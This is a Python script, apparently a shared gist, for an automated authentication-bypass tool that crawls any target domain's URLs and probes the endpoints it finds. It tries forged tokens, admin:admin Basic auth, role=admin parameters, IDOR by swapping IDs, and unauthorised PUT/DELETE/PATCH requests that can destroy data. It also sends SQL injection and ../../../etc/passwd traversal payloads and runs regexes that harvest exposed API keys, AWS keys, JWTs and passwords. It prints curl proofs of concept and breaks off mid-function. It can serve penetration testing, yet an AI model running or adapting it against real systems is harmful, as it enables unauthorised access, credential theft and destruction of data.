auth_bypass.py

gistfile1.txt

#!/usr/bin/env python3
"""
Authentication Bypass Automation Tool v4
Further false positive reduction
- Better HTML vs API response detection
- Improved JavaScript code filtering
- Skip logout endpoints
- Enhanced credential pattern validation
"""

import subprocess
import requests
import json
import re
import time
import argparse
from urllib.parse import urlparse, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
import logging
from typing import List, Dict, Set
import urllib3

# Disable SSL warnings and certificate verification warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()

# Configure logging to suppress certificate warnings
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# Suppress specific certificate warnings
logging.getLogger("urllib3.connectionpool").setLevel(logging.ERROR)
logging.getLogger("requests.packages.urllib3").setLevel(logging.ERROR)

class AuthBypassTester:
    def __init__(self, domain: str, threads: int = 10, timeout: int = 10):
        self.domain = domain
        self.threads = threads
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        # Disable SSL verification to avoid certificate warnings
        self.session.verify = False

        # Expanded response indicators for any API data that might control access
        self.bypass_indicators = [
            # Authentication status
            'authenticated', 'logged_in', 'isAuthenticated', 'user_authenticated',
            'auth_status', 'login_status', 'authorized', 'session_valid', 'loggedIn',

            # Access control
            'access_granted', 'has_access', 'allowed', 'permitted', 'can_access',
            'is_authorized', 'access_level', 'permission_granted',

            # User status
            'active', 'enabled', 'valid', 'verified', 'approved', 'confirmed',
            'is_active', 'is_enabled', 'is_valid', 'is_verified',

            # Subscription/License status
            'subscribed', 'premium', 'licensed', 'paid', 'trial_expired',
            'subscription_active', 'license_valid', 'account_active',

            # Feature flags
            'feature_enabled', 'beta_access', 'admin_access', 'demo_mode',
            'maintenance_mode', 'read_only', 'restricted'
        ]

        self.found_urls = set()
        self.vulnerable_endpoints = []

    def run_urlfinder(self) -> List[str]:
        """Run URLfinder to discover URLs for the target domain"""
        logger.info(f"Running URLfinder for domain: {self.domain}")

        try:
            # Run urlfinder with JSON output
            cmd = ['urlfinder', '-d', self.domain, '-j', '-silent']
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)

            if result.returncode != 0:
                logger.error(f"URLfinder failed: {result.stderr}")
                return []

            urls = []
            for line in result.stdout.strip().split('\n'):
                if line.strip():
                    try:
                        data = json.loads(line)
                        urls.append(data['url'])
                    except json.JSONDecodeError:
                        # Handle non-JSON lines (might be regular output)
                        if line.startswith('http'):
                            urls.append(line.strip())

            logger.info(f"Found {len(urls)} URLs from URLfinder")
            return urls

        except subprocess.TimeoutExpired:
            logger.error("URLfinder timed out after 10 minutes")
            return []
        except FileNotFoundError:
            logger.error("URLfinder not found. Make sure it's installed and in PATH")
            return []

    def filter_api_endpoints(self, urls: List[str]) -> List[str]:
        """Filter URLs that are API endpoints (prioritized and filtered)"""
        api_urls = []

        # Skip common false positive patterns (ENHANCED)
        skip_patterns = [
            r'/wp-json/wp/v2/',
            r'/job/\d+/',
            r'\.js$',
            r'\.css$',
            r'/404\?',
            r'/gtm\.js',
            r'/gtm\.start',
            r'noticeError/called',
            r'\.(jpg|jpeg|png|gif|svg|ico|webp)(\?.*)?$',
            r'\.(ttf|eot|woff|woff2|otf)(\?.*)?$',
            r'\.(css|scss|less)(\?.*)?$',
            r'\.pdf(\?.*)?$',
            r'/images?/',
            r'/fonts?/',
            r'/static/',
            r'/assets/',
            r'/css/',
            r'\.min\.(js|css)(\?.*)?$',
            r'/demandware\.static/',
            r'\.gif(\?.*)?$',
            # Add patterns for common false positives
            r'/configuration/modals/',  # Modal configuration endpoints
            r'/en_in/.*configuration/modals',  # Localized modal configs
            r'\.html?(\?.*)?$',  # HTML files
            r'/content/.*/configuration/',  # CMS configuration paths
            # Skip support/help center endpoints
            r'support\.',  # Support subdomains
            r'help\.',  # Help subdomains
            r'/help_center/',  # Help center paths
            r'/support/',  # Support paths
            r'/hc/',  # Help center abbreviated
            r'/knowledge/',  # Knowledge base
            r'/kb/',  # Knowledge base abbreviated
            r'/faq/',  # FAQ sections
            r'/docs/',  # Documentation
            # Skip OAuth/auth endpoints (handled separately)
            r'/oauth/authorize',
            r'/auth/authorize',
            r'/login\?',
            r'/signin\?',
            r'/account/login',
            r'/user/login',
            # Skip logout endpoints
            r'/logout',
            r'/signout',
            r'/log-out',
            r'/sign-out',
            r'/account/logout',
            r'/user/logout',
        ]

        # High priority patterns (test these first)
        priority_patterns = [
            r'/api/v\d+/',
            r'/api/(?!.*/(gtm|noticeError))',
            r'/v\d+/(?!.*wp)',
            r'developers\.',
            r'/apispecs/',
            r'/graphql',
            r'/rest/(?!.*wp)',
            r'/oauth/',
            r'/auth/',
            r'/login/',
            r'/user/',
            r'/account/',
            r'/session/',
            r'/token/',
        ]

        # Regular API patterns
        regular_patterns = [
            r'/ajax/',
            r'/services/',
            r'/internal/',
            r'/private/',
            r'/admin/api/',
            r'/backend/',
            r'/secure/',
        ]

        # First, collect high priority endpoints
        priority_urls = []
        regular_urls = []

        for url in urls:
            # Skip known false positive patterns
            if any(re.search(pattern, url, re.IGNORECASE) for pattern in skip_patterns):
                continue

            # Additional filter: Skip if it looks like a static asset with parameters
            if re.search(r'\.(jpg|png|gif|svg|ttf|woff|css)\?sw=|sh=|v=', url, re.IGNORECASE):
                continue

            # Check for high priority patterns
            is_priority = any(re.search(pattern, url, re.IGNORECASE) for pattern in priority_patterns)
            is_regular = any(re.search(pattern, url, re.IGNORECASE) for pattern in regular_patterns)

            # Special handling for .well-known URLs
            if '.well-known/' in url:
                # Quick test to see if this returns HTML (indicating 404/error page)
                try:
                    test_response = requests.get(url, timeout=5, verify=False)
                    if (test_response.status_code == 200 and
                        'application/json' in test_response.headers.get('content-type', '')):
                        is_priority = True
                    else:
                        continue  # Skip - not JSON content
                except:
                    continue  # Skip if we can't test it

            # Special handling for JSON files - only include if they're actually config files
            elif url.endswith('.json'):
                # Skip manifest.json files as they're meant to be public
                if 'manifest.json' in url:
                    continue
                # Include if it's in config or API directories
                if any(keyword in url.lower() for keyword in ['config', 'api', 'jwks', 'settings']):
                    # But exclude if it's clearly in a static directory
                    if not any(static_dir in url.lower() for static_dir in ['static', 'assets', 'images', 'css', 'clientlibs']):
                        is_priority = True
                else:
                    continue  # Skip other JSON files

            if is_priority:
                priority_urls.append(url)
            elif is_regular:
                regular_urls.append(url)

        # Combine with priority first, test all relevant endpoints
        api_urls = priority_urls + regular_urls

        # Remove duplicates while preserving order
        seen = set()
        filtered_api_urls = []
        for url in api_urls:
            if url not in seen:
                seen.add(url)
                filtered_api_urls.append(url)

        logger.info(f"Found {len(filtered_api_urls)} potential API endpoints (Priority: {len(priority_urls)}, Regular: {len(regular_urls)})")
        logger.info(f"Filtered out static assets and non-API endpoints")
        return filtered_api_urls

    def is_meaningful_response(self, response: requests.Response) -> bool:
        """Check if response contains meaningful content (not just empty or error pages)"""
        if not response or response.status_code >= 400:
            return False

        content = response.text.strip()
        content_length = len(content)

        # Empty or very short responses aren't meaningful
        if content_length < 10:
            return False

        # Check if it's just an HTML error page
        if content.lower().startswith('<!doctype html') or '<html' in content.lower()[:100]:
            # Check for common error page indicators
            error_indicators = ['404', 'not found', 'error', 'forbidden', 'unauthorized']
            if any(indicator in content.lower()[:500] for indicator in error_indicators):
                return False

        return True

    def test_endpoint_bypass(self, url: str) -> Dict:
        """Test a single endpoint for multiple authentication bypass techniques"""
        results = []

        try:
            # Test 1: Response Manipulation (original technique)
            response_manip = self.test_response_manipulation(url)
            if response_manip['vulnerable']:
                results.append(response_manip)

            # Test 2: Missing Authentication
            missing_auth = self.test_missing_authentication(url)
            if missing_auth['vulnerable']:
                results.append(missing_auth)

            # Test 3: IDOR (parameter manipulation)
            idor_test = self.test_idor_vulnerability(url)
            if idor_test['vulnerable']:
                results.append(idor_test)

            # Test 4: Weak Token Validation (skip for public files)
            if not any(public_file in url for public_file in ['manifest.json', '.well-known/', 'robots.txt']):
                weak_token = self.test_weak_token_validation(url)
                if weak_token['vulnerable']:
                    results.append(weak_token)

            # Test 5: Privilege Escalation
            priv_esc = self.test_privilege_escalation(url)
            if priv_esc['vulnerable']:
                results.append(priv_esc)

            # Test 6: HTTP Method Access Control
            method_bypass = self.test_http_method_bypass(url)
            if method_bypass['vulnerable']:
                results.append(method_bypass)

            # Test 7: Information Disclosure
            info_disclosure = self.test_information_disclosure(url)
            if info_disclosure['vulnerable']:
                results.append(info_disclosure)

            # Test 8: CORS Misconfiguration
            cors_test = self.test_cors_misconfiguration(url)
            if cors_test['vulnerable']:
                results.append(cors_test)

            # Test 9: Error Message Analysis
            error_analysis = self.test_error_message_disclosure(url)
            if error_analysis['vulnerable']:
                results.append(error_analysis)

            if results:
                return {'vulnerable': True, 'url': url, 'vulnerabilities': results}
            else:
                return {'vulnerable': False, 'url': url}

        except Exception as e:
            logger.debug(f"Error testing {url}: {e}")
            return {'vulnerable': False, 'url': url, 'error': str(e)}

    def test_response_manipulation(self, url: str) -> Dict:
        """Test 1: Response Manipulation Bypass"""
        try:
            # Skip OAuth endpoints - they're supposed to redirect
            if any(oauth_pattern in url.lower() for oauth_pattern in ['/oauth/authorize', '/auth/authorize']):
                return {'vulnerable': False}

            response = self.session.get(url, timeout=self.timeout, allow_redirects=False)

            # Check if it's a JSON API endpoint
            if 'application/json' in response.headers.get('content-type', ''):
                return self.test_json_manipulation(url, response)

            # Check for redirect to SSO/login
            if response.status_code in [301, 302, 303, 307, 308]:
                location = response.headers.get('location', '')
                # Only flag if it's protecting actual API/data endpoints, not OAuth flows
                if (any(keyword in location.lower() for keyword in ['login', 'auth', 'sso', 'signin']) and
                    not any(skip in url.lower() for skip in ['/login', '/signin', '/auth/', '/oauth/'])):
                    return {
                        'vulnerable': True,
                        'method': 'Response Manipulation - Redirect Bypass',
                        'details': f'Protected endpoint redirects to authentication: {location}',
                        'exploitation': 'Intercept response and remove Location header or change status code to 200'
                    }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_missing_authentication(self, url: str) -> Dict:
        """Test 2: Missing Authentication on Sensitive Endpoint"""
        try:
            # Skip common false positives
            if any(pattern in url.lower() for pattern in [
                'wp-json/wp/v2/', '/job/', '/events/', 'manifest.json',
                '/configuration/modals/', 'clientlibs', '/content/',
                '/login', '/signin', '/oauth/', '/auth/authorize',
                'support.', 'help.', '/help_center/', '/support/',
                '/logout', '/signout', '/log-out', '/sign-out'
            ]):
                return {'vulnerable': False}

            # Test completely unauthenticated request
            clean_session = requests.Session()
            clean_session.verify = False
            response = clean_session.get(url, timeout=self.timeout)

            if response.status_code == 200 and self.is_meaningful_response(response):
                content = response.text.lower()

                # Skip if this is an HTML page (not an API response)
                content_type = response.headers.get('content-type', '').lower()
                if 'text/html' in content_type:
                    # For HTML pages, only check for very specific exposed secrets in script tags or meta tags
                    # Skip generic JavaScript code patterns
                    specific_html_patterns = [
                        r'<meta[^>]+content=["\']([a-zA-Z0-9]{40,})["\']',  # Meta tag with long token
                        r'window\.API_KEY\s*=\s*["\']([a-zA-Z0-9]{20,})["\']',  # Explicitly set API key
                        r'data-api-key=["\']([a-zA-Z0-9]{20,})["\']',  # Data attribute with API key
                    ]

                    for pattern in specific_html_patterns:
                        match = re.search(pattern, response.text, re.IGNORECASE)
                        if match:
                            token = match.group(1)
                            # Validate it's not a placeholder
                            if not any(placeholder in token.lower() for placeholder in
                                     ['your-api-key', 'example', 'test', 'demo', 'xxx']):
                                return {
                                    'vulnerable': True,
                                    'method': 'Missing Authentication - Exposed API Key in HTML',
                                    'details': f'Found exposed API key in HTML page',
                                    'exploitation': 'Extract API key from HTML source',
                                    'poc': f'curl -X GET "{url}" | grep -i "api[_-]key"',
                                    'severity': 'HIGH'
                                }
                    return {'vulnerable': False}  # Skip other checks for HTML pages

                # For non-HTML responses (JSON, XML, etc.), use the original patterns
                critical_patterns = [
                    r'["\']?api[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
                    r'["\']?secret[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
                    r'["\']?access[_-]?token["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
                    r'["\']?private[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?',
                    r'["\']?password["\']?\s*[:=]\s*["\']?([^"\']{8,})["\']?',
                    r'["\']?jwt["\']?\s*[:=]\s*["\']?(eyJ[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]*)["\']?',
                    r'["\']?bearer["\']?\s*[:=]\s*["\']?([a-zA-Z0-9\-_]{20,})["\']?'
                ]

                # Check for actual pattern matches (not just keywords)
                for pattern in critical_patterns:
                    matches = re.findall(pattern, response.text, re.IGNORECASE)
                    if matches:
                        for match in matches:
                            # Extract the actual secret value
                            secret_value = match if isinstance(match, str) else match[-1]

                            # Validate it's not a placeholder or JavaScript variable
                            if any(placeholder in secret_value.lower() for placeholder in
                                   ['your-api-key', 'example', 'test', 'demo', 'xxx', '...',
                                    'placeholder', 'sample', 'dummy', 'fake', 'mock']):
                                continue

                            # Skip if it's too short or doesn't look like a real secret
                            if len(secret_value) < 10 or secret_value.isdigit() or secret_value.isalpha():
                                continue

                            # Additional check: ensure we're not in a JavaScript function definition
                            # Get context around the match
                            match_pos = response.text.find(secret_value)
                            if match_pos > 0:
                                context_before = response.text[max(0, match_pos-50):match_pos]
                                if any(js_pattern in context_before for js_pattern in
                                       ['function', 'const ', 'let ', 'var ', '${', 'querySelector']):
                                    continue

                            return {
                                'vulnerable': True,
                                'method': 'Missing Authentication - Critical Secret Exposure',
                                'details': f'Exposed secret in API response',
                                'exploitation': 'Direct access to sensitive credentials without authentication',
                                'poc': f'curl -X GET "{url}"',
                                'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text,
                                'severity': 'CRITICAL'
                            }

                # Check for API documentation exposure
                if any(keyword in content for keyword in ['swagger', 'openapi', 'api-docs']) and len(content) > 1000:
                    return {
                        'vulnerable': True,
                        'method': 'Missing Authentication - API Documentation Exposure',
                        'details': 'API documentation accessible without authentication',
                        'exploitation': 'Access to complete API structure and endpoints',
                        'poc': f'curl -X GET "{url}"',
                        'severity': 'HIGH'
                    }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_idor_vulnerability(self, url: str) -> Dict:
        """Test 3: Insecure Direct Object Reference (IDOR)"""
        try:
            # Look for numeric IDs in URL
            id_patterns = [
                (r'/user/(\d+)', 'user'),
                (r'/account/(\d+)', 'account'),
                (r'/profile/(\d+)', 'profile'),
                (r'/order/(\d+)', 'order'),
                (r'/invoice/(\d+)', 'invoice'),
                (r'/document/(\d+)', 'document'),
                (r'[?&]id=(\d+)', 'id'),
                (r'[?&]user=(\d+)', 'user'),
                (r'[?&]uid=(\d+)', 'uid')
            ]

            for pattern, param_type in id_patterns:
                match = re.search(pattern, url)
                if match:
                    original_id = match.group(1)
                    # Try different IDs
                    test_ids = [str(int(original_id) + 1), str(int(original_id) - 1), '1', '999']

                    # Get baseline response
                    baseline_response = self.session.get(url, timeout=self.timeout)
                    if not self.is_meaningful_response(baseline_response):
                        continue

                    for test_id in test_ids:
                        if '?' in pattern or '&' in pattern:
                            test_url = re.sub(pattern, f'{pattern.split("=")[0]}={test_id}', url)
                        else:
                            test_url = url.replace(f'/{original_id}', f'/{test_id}')

                        response = self.session.get(test_url, timeout=self.timeout)

                        # Check if we got a different, meaningful response
                        if (response.status_code == 200 and
                            self.is_meaningful_response(response) and
                            response.text != baseline_response.text and
                            len(response.text) > 100):

                            # Additional check: response should contain user/account data
                            if any(indicator in response.text.lower() for indicator in
                                   ['email', 'name', 'phone', 'address', 'account', 'profile']):
                                return {
                                    'vulnerable': True,
                                    'method': f'IDOR (Insecure Direct Object Reference) - {param_type} parameter',
                                    'details': f'Successfully accessed {param_type} ID {test_id} (original: {original_id})',
                                    'exploitation': f'Change {param_type} ID to access other users\' data',
                                    'poc': f'curl -X GET "{test_url}"'
                                }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_weak_token_validation(self, url: str) -> Dict:
        """Test 4: Weak Session Token or Cookie Validation"""
        try:
            # Skip static assets and public files
            static_extensions = r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$'
            public_files = ['manifest.json', 'robots.txt', '.well-known/', 'sitemap.xml']

            if (re.search(static_extensions, url, re.IGNORECASE) or
                any(public_file in url for public_file in public_files)):
                return {'vulnerable': False}

            # Skip login/auth pages - they don't validate tokens
            if any(pattern in url.lower() for pattern in ['/login', '/signin', '/oauth/', '/auth/', '/account/login', '/user/login',
                                                         '/logout', '/signout', '/customer/account', '/account/orders']):
                return {'vulnerable': False}

            # First test normal request to establish baseline
            normal_response = self.session.get(url, timeout=self.timeout)

            # Skip if baseline response is not meaningful or is HTML
            if not self.is_meaningful_response(normal_response):
                return {'vulnerable': False}

            # Skip HTML pages - they often return same content regardless of auth
            content_type = normal_response.headers.get('content-type', '').lower()
            if 'text/html' in content_type:
                return {'vulnerable': False}

            # Test with invalid/tampered tokens
            invalid_tokens = [
                'Bearer invalid_token_12345',
                'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.invalid_signature',
                'Bearer admin_bypass_token',
                'Basic YWRtaW46YWRtaW4='  # admin:admin in base64
            ]

            for token in invalid_tokens:
                headers = {'Authorization': token}
                response = self.session.get(url, headers=headers, timeout=self.timeout)

                # Only flag as vulnerable if:
                # 1. Returns 200 status
                # 2. Response is meaningful
                # 3. Response suggests successful authentication
                if (response.status_code == 200 and
                    self.is_meaningful_response(response) and
                    len(response.text) > 50):

                    # Check if response indicates successful auth
                    auth_success_indicators = [
                        '"authenticated":true', '"status":"success"', '"loggedIn":true',
                        '"user":{', '"profile":{', '"permissions":[', '"role":"'
                    ]

                    if any(indicator in response.text for indicator in auth_success_indicators):
                        return {
                            'vulnerable': True,
                            'method': 'Weak Token Validation - Authentication Bypass',
                            'details': f'Server accepts invalid token and returns authenticated response',
                            'exploitation': 'Use any invalid token to bypass authentication',
                            'poc': f'curl -X GET "{url}" -H "Authorization: {token}"',
                            'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text,
                            'severity': 'CRITICAL'
                        }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_privilege_escalation(self, url: str) -> Dict:
        """Test 5: Privilege Escalation via Parameter Tampering"""
        try:
            # Skip if URL doesn't look like it handles user data
            if not any(keyword in url.lower() for keyword in
                      ['user', 'account', 'profile', 'admin', 'dashboard', 'panel', 'manage']):
                return {'vulnerable': False}

            # First get baseline response
            baseline_response = self.session.get(url, timeout=self.timeout)
            if not self.is_meaningful_response(baseline_response):
                return {'vulnerable': False}

            baseline_content = baseline_response.text.lower()

            # Test with privilege escalation parameters
            priv_params = [
                {'role': 'admin'},
                {'isAdmin': 'true'},
                {'is_admin': '1'},
                {'admin': '1'},
                {'userRole': 'administrator'},
                {'privilege': 'root'},
                {'access_level': '999'}
            ]

            for params in priv_params:
                response = self.session.get(url, params=params, timeout=self.timeout)

                if response.status_code == 200 and self.is_meaningful_response(response):
                    content = response.text.lower()

                    # Check if response suggests elevated privileges
                    admin_gained_indicators = [
                        'admin panel', 'administrator dashboard', 'system settings',
                        'user management', 'delete user', 'modify permissions',
                        'root access', 'superuser', '"role":"admin"', '"isAdmin":true'
                    ]

                    # Check if we gained admin content that wasn't in baseline
                    admin_gained = any(indicator in content and indicator not in baseline_content
                                     for indicator in admin_gained_indicators)

                    # Also check for significant content change
                    content_significantly_different = abs(len(content) - len(baseline_content)) > 500

                    if admin_gained or (content_significantly_different and 'admin' in content):
                        return {
                            'vulnerable': True,
                            'method': 'Privilege Escalation via Parameter Tampering',
                            'details': f'Successfully escalated privileges using parameters: {params}',
                            'exploitation': 'Add privilege parameters to gain admin access',
                            'poc': f'curl -X GET "{url}?" + "&".join([f"{k}={v}" for k,v in params.items()])',
                            'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
                        }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_http_method_bypass(self, url: str) -> Dict:
        """Test 6: Broken Access Control on HTTP Methods"""
        try:
            # Skip static assets and configuration endpoints
            static_patterns = [
                r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$',
                r'/images/', r'/fonts/', r'/css/', r'/static/', r'/assets/',
                r'/configuration/', r'/modals/', r'/content/'
            ]

            if any(re.search(pattern, url, re.IGNORECASE) if pattern.endswith('$') else pattern in url.lower()
                   for pattern in static_patterns):
                return {'vulnerable': False}

            # Get baseline with GET request
            get_response = self.session.get(url, timeout=self.timeout)

            # Only test if GET returns meaningful content
            if not self.is_meaningful_response(get_response):
                return {'vulnerable': False}

            get_content_length = len(get_response.text)

            # Test dangerous methods
            dangerous_methods = ['PUT', 'DELETE', 'PATCH']

            for method in dangerous_methods:
                # Add test data for methods that accept body
                test_data = None
                if method in ['PUT', 'PATCH']:
                    test_data = json.dumps({'test': 'data'})
                    headers = {'Content-Type': 'application/json'}
                else:
                    headers = {}

                response = self.session.request(
                    method, url,
                    data=test_data,
                    headers=headers,
                    timeout=self.timeout
                )

                # Only flag as vulnerable if:
                # 1. Method returns success status
                # 2. Response indicates actual processing (not just error page)
                # 3. Response is different from GET (suggests method was processed)
                if response.status_code in [200, 201, 202, 204]:
                    content = response.text.lower()

                    # Check for indicators of successful operation
                    success_indicators = [
                        'success', 'updated', 'deleted', 'created', 'modified',
                        'saved', 'removed', '"status":200', '"ok":true'
                    ]

                    error_indicators = [
                        'error', 'forbidden', 'unauthorized', 'not allowed',
                        'access denied', 'permission denied', 'rejected'
                    ]

                    has_success = any(indicator in content for indicator in success_indicators)
                    has_errors = any(indicator in content for indicator in error_indicators)

                    # For DELETE, 204 with no content is actually a success indicator
                    if method == 'DELETE' and response.status_code == 204:
                        return {
                            'vulnerable': True,
                            'method': f'HTTP Method Bypass - {method} (Destructive Operation)',
                            'details': f'{method} operation completed successfully (Status: 204 No Content)',
                            'exploitation': f'Use {method} method to delete resources without authorization',
                            'poc': f'curl -X {method} "{url}"',
                            'severity': 'HIGH'
                        }

                    # For other methods, check for success without errors
                    elif has_success and not has_errors:
                        return {
                            'vulnerable': True,
                            'method': f'HTTP Method Bypass - {method}',
                            'details': f'{method} method processed successfully (Status: {response.status_code})',
                            'exploitation': f'Use {method} method to modify resources without proper authorization',
                            'poc': f'curl -X {method} "{url}"' + (f' -d \'{test_data}\' -H "Content-Type: application/json"' if test_data else ''),
                            'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
                        }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_information_disclosure(self, url: str) -> Dict:
        """Test 7: Exposed API Key or Token in Unauthenticated Requests"""
        try:
            # Skip login pages
            if any(pattern in url.lower() for pattern in ['/login', '/signin', '/oauth/', '/auth/']):
                return {'vulnerable': False}

            response = self.session.get(url, timeout=self.timeout)

            if not self.is_meaningful_response(response):
                return {'vulnerable': False}

            # Look for exposed secrets with better patterns
            secret_patterns = [
                (r'["\']?api[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'API Key'),
                (r'["\']?secret[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'Secret Key'),
                (r'["\']?access[_-]?token["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'Access Token'),
                (r'["\']?private[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'Private Key'),
                (r'["\']?aws[_-]?access[_-]?key[_-]?id["\']?\s*[:=]\s*["\']([A-Z0-9]{20})["\']', 'AWS Access Key'),
                (r'["\']?aws[_-]?secret[_-]?access[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9/+=]{40})["\']', 'AWS Secret Key'),
                (r'Bearer\s+([a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]*)', 'JWT Token'),
                (r'Basic\s+([a-zA-Z0-9+/=]{20,})', 'Basic Auth Credentials'),
                (r'["\']?client[_-]?secret["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'OAuth Client Secret'),
                (r'["\']?github[_-]?token["\']?\s*[:=]\s*["\']([a-zA-Z0-9]{40})["\']', 'GitHub Token'),
                (r'["\']?stripe[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9_]{24,})["\']', 'Stripe API Key')
            ]

            found_secrets = []
            for pattern, secret_type in secret_patterns:
                matches = re.findall(pattern, response.text, re.IGNORECASE)
                if matches:
                    # Filter out obvious placeholders and common false positives
                    real_secrets = []
                    for secret in matches:
                        # Skip placeholders
                        if any(placeholder in secret.lower() for placeholder in
                               ['your-api-key', 'example', 'test', 'demo', 'xxx', '...',
                                'placeholder', 'sample', 'dummy', 'fake', 'mock']):
                            continue
                        # Skip repeated characters
                        if len(set(secret)) < 5:
                            continue
                        # Skip if it's just numbers or just letters (likely not a real key)
                        if secret.isdigit() or secret.isalpha():
                            continue
                        real_secrets.append(secret)

                    if real_secrets:
                        found_secrets.extend([(secret_type, secret[:20] + '...') for secret in real_secrets])

            if found_secrets:
                return {
                    'vulnerable': True,
                    'method': 'Information Disclosure - Exposed Secrets',
                    'details': f'Found {len(found_secrets)} exposed secrets in response',
                    'exploitation': 'Extract and use exposed API keys/tokens',
                    'poc': f'curl -X GET "{url}"',
                    'secrets_found': [f'{stype}: {svalue}' for stype, svalue in found_secrets[:3]],
                    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text,
                    'severity': 'CRITICAL'
                }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_cors_misconfiguration(self, url: str) -> Dict:
        """Test 8: CORS Misconfiguration"""
        try:
            # Skip non-API endpoints and support pages
            if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'json', 'rest', 'graphql']):
                return {'vulnerable': False}

            # Skip support/help endpoints which are meant to be public
            if any(pattern in url.lower() for pattern in ['support.', 'help.', '/help_center/', '/support/']):
                return {'vulnerable': False}

            headers = {'Origin': 'https://evil-attacker.com'}
            response = self.session.get(url, headers=headers, timeout=self.timeout)

            # Only check successful responses with meaningful content
            if not (response.status_code == 200 and self.is_meaningful_response(response)):
                return {'vulnerable': False}

            cors_header = response.headers.get('Access-Control-Allow-Origin', '')
            cors_credentials = response.headers.get('Access-Control-Allow-Credentials', '')

            # Check for overly permissive CORS
            if cors_header == '*' or cors_header == 'https://evil-attacker.com':
                # Additional check: is this actually sensitive data?
                sensitive_content = any(indicator in response.text.lower() for indicator in [
                    'password', 'token', 'secret', 'api_key', 'private', 'confidential',
                    'credit', 'ssn', 'email', 'phone', 'address', 'user_id', 'session'
                ])

                # Also check if response contains user-specific data patterns
                user_data_patterns = [
                    r'"user":\s*{',
                    r'"email":\s*"[^"]+@[^"]+"',
                    r'"profile":\s*{',
                    r'"account":\s*{',
                    r'"session":\s*"[^"]+"'
                ]

                has_user_data = any(re.search(pattern, response.text) for pattern in user_data_patterns)

                if sensitive_content or has_user_data or ('true' in cors_credentials.lower() and cors_header != '*'):
                    severity = 'CRITICAL' if cors_credentials.lower() == 'true' else 'HIGH'
                    return {
                        'vulnerable': True,
                        'method': 'CORS Misconfiguration',
                        'details': f'Allows unauthorized origin: {cors_header}' +
                                  (f' with credentials' if cors_credentials.lower() == 'true' else ''),
                        'exploitation': 'Cross-origin data theft possible from malicious websites',
                        'poc': f'curl -X GET "{url}" -H "Origin: https://evil-attacker.com"',
                        'cors_header': cors_header,
                        'severity': severity
                    }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def test_error_message_disclosure(self, url: str) -> Dict:
        """Test 9: Information Disclosure in Error Messages"""
        try:
            # Skip if URL doesn't look like an API endpoint
            if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'rest', 'service']):
                return {'vulnerable': False}

            # Skip support/help endpoints
            if any(pattern in url.lower() for pattern in ['support.', 'help.', '/help_center/', '/support/']):
                return {'vulnerable': False}

            # Trigger errors with malformed requests
            error_triggers = [
                {'method': 'POST', 'data': 'invalid json', 'headers': {'Content-Type': 'application/json'}},
                {'method': 'POST', 'data': '{"test": }', 'headers': {'Content-Type': 'application/json'}},
                {'method': 'GET', 'params': {'id': "' OR 1=1 --"}},
                {'method': 'GET', 'params': {'debug': 'true', 'test': '../../../etc/passwd'}},
                {'method': 'POST', 'data': '<invalid>xml</xml>', 'headers': {'Content-Type': 'application/xml'}}
            ]

            for trigger in error_triggers:
                method = trigger.pop('method', 'GET')
                response = self.session.request(method, url, timeout=self.timeout, **trigger)

                # Look for real error disclosures (not just HTML pages)
                if self.is_meaningful_response(response) or response.status_code >= 400:
                    content = response.text

                    # Enhanced patterns for real security issues
                    critical_patterns = [
                        (r'(com\.[\w\.]+Exception)', 'Java Exception'),
                        (r'(org\.[\w\.]+Exception)', 'Java Framework Exception'),
                        (r'at\s+[\w\.$]+\([\w\.]+:\d+\)', 'Java Stack Trace'),
